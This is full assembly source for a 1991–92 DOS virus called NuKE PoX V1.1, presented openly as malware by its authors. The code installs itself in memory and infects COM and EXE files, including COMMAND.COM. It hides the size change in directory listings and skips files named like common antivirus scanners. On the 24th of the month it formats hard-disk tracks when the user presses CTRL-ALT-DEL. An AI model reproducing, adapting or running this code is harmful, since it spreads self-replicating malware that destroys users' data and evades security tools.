
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-*      (c) Rock Steady, Viral Developments                             -*
;*-      (c) NuKE Software Developement  1991, 1992                      *-
;-*  Virus: NuKE PoX Version 1.1  (Alias: Evil Genius, NPox)             -*
;*-  ~~~~~~                                                              *-
;-*  Notes: Resident EXE & COM Infecting, Memory Stealth, Directory      -*
;*-  ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects     *-
;-*         COMMAND.COM on first Run, CTRL-ALT-DEL Aware...              -*
;*-  Bytes: 963 Bytes           Memory: 963 Bytes                        *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size      equ     last - init_virus
mut1            equ     3
mut2            equ     1
mut3            equ     103h
del_code        equ     53h

seg_a           segment byte public
                assume  cs:seg_a, ds:seg_a
                org     100h
rocko           proc    far

start:          jmp     init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                       Virus Begins Here...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
init_virus:
                call    doit_now               ;Doit VirusMan...

doit_now:       pop     bp                     ;Not to Lose Track
                sub     bp,106h                ;Set our position
                push    ax                     ;Save all the registers
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    bp
                push    es
                push    ds

                mov     ax,7bcdh               ;Are we resident Already?
                int     21h
                cmp     bx,7bcdh               ;Yupe... Quit Then...
                je      exit_com

                xor     bx,bx
                push    cs                     ;Get CS=DS
                pop     ds
                mov     cx,es

                mov     ax,3509h               ;Hook Int 9 Please...
                int     21h
                mov     word ptr cs:[int9+2][bp],es
                mov     word ptr cs:[int9][bp],bx

                mov     ax,3521h               ;Sometimes tend to intercept
                int     21h                    ;This Interrupt...
                mov     word ptr cs:[int21+2][bp],es    ;Save the Int
                mov     word ptr cs:[int21][bp],bx      ;Vector Table

                dec     cx                     ;Get a new Memory block
                mov     es,cx                  ;Put it Back to ES
                mov     bx,es:mut1
                mov     dx,virus_size          ;Size to `Hide'
                mov     cl,4                   ;And all this crap hides
                shr     dx,cl                  ;your number od bytes in DX
                add     dx,4
                mov     cx,es
                sub     bx,dx
                inc     cx
                mov     es,cx
                mov     ah,4ah                 ;Call int to do it...
                int     21h

                jc      exit_com
                mov     ah,48h
                dec     dx
                mov     bx,dx                  ;It's Done... Yeah!
                int     21h

                jc      exit_com
                dec     ax
                mov     es,ax
                mov     cx,8h                  ;Here we move our Virus into
                mov     es:mut2,cx             ;the `Hidden' memory!
                sub     ax,0fh
                mov     di,mut3
                mov     es,ax
                mov     si,bp
                add     si,offset init_virus
                mov     cx,virus_size
                cld
                repne   movsb

                mov     ax,2521h                ;Restore Int21 with ours
                mov     dx,offset int21_handler ;Where it starts
                push    es
                pop     ds
                int     21h

                mov     ax,2509h               ;Restore Int9 with ours
                mov     dx,offset int9_handler ;The Handler...
                int     21h

                push    cs
                pop     ds
exit_com:
                cmp     word ptr cs:[buffer][bp],5A4Dh
                je      exit_exe_file          ;Its an EXE file...
                mov     bx,offset buffer       ;Its a COM file restore
                add     bx,bp                  ;First three Bytes...
                mov     ax,[bx]                ;Mov the Byte to AX
                mov     word ptr ds:[100h],ax  ;First two bytes Restored
                add     bx,2                   ;Get the next Byte
                mov     al,[bx]                ;Move the Byte to AL
                mov     byte ptr ds:[102h],al  ;Restore the Last of 3 Bytes
                pop     ds
                pop     es
                pop     bp                     ;Restore Regesters
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                mov     ax,100h                ;Jump Back to Beginning
                push    ax                     ;Restores our IP (a CALL
                retn                           ;Saves them, now we changed
int21           dd      ?                      ;Our Old Int21
int9            dd      ?                      ;Our Old Int9

exit_exe_file:
                mov     bx,word ptr cs:[buffer+22][bp]  ;Load CS Regester
                mov     dx,cs
                sub     dx,bx
                mov     ax,dx
                add     ax,word ptr cs:[exe_cs][bp]        ;Get original CS
                add     dx,word ptr cs:[exe_ss][bp]        ;Get original SS
                mov     bx,word ptr cs:[exe_ip][bp]        ;Get original IP
                mov     word ptr cs:[fuck_yeah][bp],bx     ;Restore IP
                mov     word ptr cs:[fuck_yeah+2][bp],ax   ;Restore CS
                mov     ax,word ptr cs:[exe_sp][bp]        ;Get original SP
                mov     word ptr cs:[Rock_Fix1][bp],dx     ;Restore SS
                mov     word ptr cs:[Rock_Fix2][bp],ax     ;Restore SP
                pop     ds
                pop     es
                pop     bp
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                db      0B8h                   ;This is now a MOV AX,XXXX
Rock_Fix1:                                     ;XXXX is the original SS
                dw      0                      ;Our XXXX Value
                cli                            ;Disable Interrupts
                mov     ss,ax                  ;Mov it to SS
                db      0BCh                   ;This is now a MOV SP,XXXX
Rock_Fix2:
                dw      0                      ;The XXXX Value for SP
                sti                            ;Enable interrupts
                db      0EAh                   ;JMP XXXX:YYYY
fuck_yeah:
                dd      0                      ;Dword IP:CS (Reverse order!
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                       Int 9 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int9_handler:                                  ;Every TIME a KEY is pressed
                push    ax                     ;This ROUTINE is called!
                in      al,60h                 ;Has the user attempted a
                cmp     al,del_code            ;CTRL-ALT-DEL
                je      warm_reboot            ;Yes! Screw him
bye_bye:        pop     ax
                jmp     dword ptr cs:[int9]    ;Nope, Leave system alone
warm_reboot:
                mov     ah,2ah                 ;Get Date Please
                int     21h
                cmp     dl,18h                 ;Is it 24th of the Month?
                jne     bye_bye                ;Yes, bye_Bye HD
                mov     ch,0
hurt_me:        mov     ah,05h
                mov     dh,0
                mov     dl,80h                 ;Formats a few tracks...
                int     13h                    ;Hurts So good...
                inc     ch
                cmp     ch,20h
                loopne  hurt_me
                db      0eah,0f0h,0ffh,0ffh,0ffh  ;Reboot!
                iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                       Dir Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
dir_handler:
                pushf
                push    cs
                call    int21call              ;Get file Stats
                test    al,al                  ;Good FCB?
                jnz     no_good                ;nope
                push    ax
                push    bx
                push    es
                mov     ah,51h                 ;Is this Undocmented? huh...
                int     21h

                mov     es,bx
                cmp     bx,es:[16h]
                jnz     not_infected           ;Not for us man...
                mov     bx,dx
                mov     al,[bx]
                push    ax
                mov     ah,2fh                 ;Get file DTA
                int     21h

                pop     ax
                inc     al
                jnz     fcb_okay
                add     bx,7h
fcb_okay:       mov     ax,es:[bx+17h]
                and     ax,1fh                 ;UnMask Seconds Field
                xor     al,1dh                 ;Is in 58 seconds?
                jnz     not_infected           ;Nope...
                and     byte ptr es:[bx+17h],0e0h
                sub     es:[bx+1dh],virus_size    ;Yes minus virus size
                sbb     es:[bx+1fh],ax
not_infected:   pop     es
                pop     bx
                pop     ax
no_good:        iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                       Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler:
                cmp     ax,4b00h               ;File executed
                je      execute
                cmp     ah,11h                 ;Dir handler
                je      dir_handler
                cmp     ah,12h                 ;Next file Dir handler
                je      dir_handler
                cmp     ax,7bcdh               ;Virus testing
                jne     int21call
                jmp     execute
int21call:
                jmp     dword ptr cs:[int21]   ;Split...
execute:
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    es
                push    ds

                cmp     ax,7bcdh               ;Was Virus testing if it was
                jne     continue               ;Alive? If No Continue
                push    cs
                pop     ds                     ;If Yes, Check if COMMAND.CO
                mov     dx,offset command      ;Is infected! And return
                jmp     continue2
continue:
                call    check_name             ;Make sure file executed
                jc      exit_now               ;Ain't a Anti-Viral program
continue2:                                     ;With the CRC-32 checkers
                mov     ax,4300h               ;Get file Attribs
                int     21h
                jc      exit

                test    cl,1h                  ;Make sure there normal
                jz      open_file              ;Okay there are
                and     cl,0feh                ;Nope, Fix them...
                mov     ax,4301h               ;Save them now
                int     21h
                jc      exit

open_file:      mov     ax,3D02h
                int     21h                    ;Open File to Infect please

                jc      exit                   ;Error Split
                mov     bx,ax                  ;BX File handler
                mov     ax,5700h               ;Get file TIME + DATE
                int     21h

                mov     al,cl
                or      cl,1fh                 ;Un mask Seconds
                dec     cx                     ;60 seconds
                dec     cx                     ;58 seconds
                xor     al,cl                  ;Is it 58 seconds?
                jz      exit                   ;File already infected

                push    cs
                pop     ds
                mov     word ptr ds:[old_time],cx       ;Save Time
                mov     word ptr ds:[old_date],dx       ;Save Date

                mov     ah,3Fh
                mov     cx,20h
                mov     dx,offset ds:[buffer]  ;Read first 20h bytes
                int     21h

                jc      exit_now               ;Error Split
                mov     ax,4202h               ;Move file pointer to end of
                xor     cx,cx                  ;file...
                xor     dx,dx
                int     21h

                jc      exit_now                       ;Error Split
                cmp     word ptr cs:[buffer],5A4Dh     ;Is file an EXE?
                je      exe_file                       ;JMP to EXE Infector
                mov     cx,ax
                sub     cx,3                           ;Set the JMP
                mov     word ptr cs:[jump_address+1],cx
                call    infect_me                      ;Infect!
                jc      exit_now                       ;error split
                mov     ah,40h                         ;Write back the firs
                mov     dx,offset ds:[jump_address]    ;bytes
                mov     cx,3h
                int     21h
exit_now:
                mov     cx,word ptr cs:[old_time]      ;Restore old time
                mov     dx,word ptr cs:[old_date]      ;Restore Old date
                mov     ax,5701h
                int     21h
exit_now2:
                mov     ah,3Eh
                int     21h                     ;Close File now...
exit:
                pop     ds
                pop     es
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                cmp     ax,7bcdh                ;Virus checking if alive
                jne     leave_now               ;No, Exit normally
                mov     bx,ax                   ;Yes, Fix BX with codez
leave_now:
                jmp     dword ptr cs:[int21]    ;Jmp back to whatever
exe_file:
                mov     cx,word ptr cs:[buffer+20]     ;IP Regester
                mov     word ptr cs:[exe_ip],cx        ;Save IP Regester
                mov     cx,word ptr cs:[buffer+22]     ;CS Regester
                mov     word ptr cs:[exe_cs],cx        ;Save CS Regester
                mov     cx,word ptr cs:[buffer+16]     ;SP Regester
                mov     word ptr cs:[exe_sp],cx        ;Save SP Regester
                mov     cx,word ptr cs:[buffer+14]     ;SS Regester
                mov     word ptr cs:[exe_ss],cx        ;Save SS Regester
                push    ax
                push    dx
                call    multiply                       ;Figure a new CS:IP
                sub     dx,word ptr cs:[buffer+8]
                mov     word ptr cs:[buffer+22],dx     ;Restore New CS
                mov     word ptr cs:[buffer+20],ax     ;Restore New IP
                pop     dx
                pop     ax
                add     ax,virus_size
                adc     dx,0
                push    ax
                push    dx
                call    multiply                      ;Figure a new SS:SP
                sub     dx,word ptr cs:[buffer+8]     ;Exe Size (512 Usuall
                add     ax,40h
                mov     word ptr cs:[buffer+14],dx    ;New SS Pointer
                mov     word ptr cs:[buffer+16],ax    ;New SP Pointer
                pop     dx
                pop     ax

                push    bx
                push    cx
                mov     cl,7                          ;Fix for Header for
                shl     dx,cl                         ;new file size in 512
                                                      ;byte pages
                mov     bx,ax
                mov     cl,9                          ;And the remainder
                shr     bx,cl                         ;after dividing by
                                                      ;512...
                add     dx,bx
                and     ax,1FFh
                jz      outta_here
                inc     dx
outta_here:
                pop     cx
                pop     bx

                mov     word ptr cs:[buffer+2],ax     ;Save Remainder
                mov     word ptr cs:[buffer+4],dx     ;Save Size in 512 pag
                call    infect_me                     ;INFECT File! Yeah!
                jc      exit_exe

                mov     ah,40h                  ;Write NEW EXE Header back
                mov     dx,offset ds:[buffer]   ;to EXE File! Points to
                mov     cx,20h                  ;The Virus Now!!! ehhe
                int     21h
exit_exe:
                jmp     exit_now

rocko           endp

exe_ip          dw      0               ;Original IP,CS,SP,SS From EXE
exe_cs          dw      0               ;Header!
exe_sp          dw      0
exe_ss          dw      0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;                   Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me       proc    near
                mov     ah,40h                  ;Write the New Encrypted
                mov     dx,offset init_virus    ;Virus to File!
                mov     cx,virus_size
                int     21h

                jc      exit_error              ;Error Split
                mov     ax,4200h
                xor     cx,cx                   ;Pointer back to beginning
                xor     dx,dx                   ;file!
                int     21h

                jc      exit_error              ;Split Dude...
                clc                             ;Clear carry flag
                retn
exit_error:
                stc                             ;Set carry flag
                retn
infect_me       endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;      Fix EXE Header...Gets new SS, CS Values for EXEs headers
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
multiply                proc    near
                push    bx
                push    cx
                mov     cl,0Ch
                shl     dx,cl

                mov     bx,ax
                mov     cl,4
                shr     bx,cl

                add     dx,bx
                and     ax,0Fh
                pop     cx
                pop     bx
                retn
multiply                endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;       Check to see if an `Anti-Viral' Product is being executed.
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
check_name              proc    near
                push    si
                push    cx

                mov     si,dx
                mov     cx,128h
loop_me:
                cmp     byte ptr ds:[si],2Eh    ;Find ASCIIZ String
                je      next_ok
                inc     si
                loop    loop_me
next_ok:
                cmp     ds:[si-2],'TO'          ;Is it ??PROT.EXE (F-PROT)
                jne     next_1                  ;Naaa
                cmp     ds:[si-4],'RP'
                je      bad_file                ;Yupe...
next_1:
                cmp     ds:[si-2],'NA'          ;Is it SCAN.EXE (McAffee)
                jne     next_2                  ;Naaa
                cmp     ds:[si-4],'CS'
                je      bad_file                ;Yupe...
next_2:
                cmp     ds:[si-2],'NA'          ;is it ?LEAN.EXE (Clean.EXE
                jne     next_3                  ;Naaa
                cmp     ds:[si-4],'EL'
                je      bad_file                ;Yupe...
next_3:
                pop     cx
                pop     si                      ;good file Set CARRY FLAG
                clc                             ;to normal
                retn
bad_file:
                pop     cx                      ;Bad file, Set CARRY FLAG
                pop     si                      ;ON!!!
                stc
                retn
check_name              endp

command         db      "C:\COMMAND.COM",0      ;What to infect!
old_time        dw      ?
old_date        dw      ?
jump_address    db      0E9h,90h,90h
buffer          db      90h,0CDh,020h
                db      30h DUP (?)
msg             db      "NukE PoX V1.1 - R.S"
last:
seg_a           ends

                end     start

